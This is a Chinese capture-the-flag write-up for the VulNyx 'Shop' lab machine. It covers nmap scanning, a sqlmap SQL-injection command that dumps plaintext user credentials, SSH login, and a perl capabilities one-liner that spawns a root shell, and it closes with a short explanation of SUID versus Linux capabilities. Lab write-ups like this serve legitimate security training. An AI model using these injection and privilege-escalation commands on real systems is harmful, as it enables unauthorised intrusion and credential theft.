# 靶场搭建
下载:Shop
Nat,IP: 192.168.1.137
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | |
| ssh-hostkey: | |
| 2048 ce:24:21:a9:2a:9e:70:2a:50:ae:d3:d4:31:ab:01:ba (RSA) | |
| 256 6b:65:3b:41:b3:63:0b:12:ba:d3:69:ac:14:de:39:7f (ECDSA) | |
|_ 256 04:cb:d9:9b:40:cc:28:58:fc:03:e7:4f:f7:6a:e5:72 (ED25519) | |
80/tcp open http Apache httpd 2.4.38 ((Debian)) | |
|_http-title: VulNyx Shop | |
|_http-server-header: Apache/2.4.38 (Debian) |
目录扫描收集到: http://192.168.1.137/administrator/
是个登录口,弱口令无果,上 sqlmap 注入
┌──(root㉿kali)-[~] | |
└─# sqlmap -u "http://192.168.1.137/administrator/login.php" --data="username=123&password=123&submit=" --dbs --batch |
时间延迟注入,拿到账号密码
+----+--------------+----------+ | |
| id | password | username | | |
+----+--------------+----------+ | |
| 1 | peter123! | peter | | |
| 2 | mikeblabla | mike | | |
| 3 | b4rtp0w4 | bart | | |
| 4 | liam@nd3rs0n | liam | | |
+----+--------------+----------+ |
ssh 登录一下,发现 bart 能够进行登录
# 提权
/usr/sbin/getcap -r / 2>/dev/null
发现了 perl 有 capabilities
的权限
拿我们进行提权: perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
拿到了 root 权限
# 小结
在 Linux 系统中,SUID(Set User ID)和 capabilities 是两种不同的权限管理机制,它们分别用于提升程序执行权限的方式有所不同。
- SUID(Set User ID):
- SUID 是一种权限位,可以在可执行文件的所有者权限位中设置。
- 当一个程序的 SUID 位被设置后,当普通用户执行该程序时,程序将以文件所有者的权限来执行,而不是执行用户的权限。
- SUID 通常用于允许普通用户在执行特定程序时以超级用户(root)权限执行特定的操作,而无需提供 root 密码。
- SUID 可能存在安全风险,因为如果程序存在漏洞,可能会被利用进行恶意操作。
- capabilities:
- capabilities 是一种细粒度的权限控制机制,允许程序在不需要完全 root 权限的情况下执行一些特定的特权操作。
- 通过为程序赋予特定的 capabilities,可以减少程序对完全 root 权限的依赖,提高系统的安全性。
- 使用 capabilities 可以更精细地控制程序的权限,而不像 SUID 那样只能授予程序完整的 root 权限。
总的来说,SUID 和 capabilities 都是用于提升程序执行权限的机制,但 SUID 是通过文件所有者权限来提升权限,而 capabilities 则是通过为程序赋予特定权限来实现。在实际应用中,根据需求和安全考虑可以选择使用其中的一种或结合使用两种机制。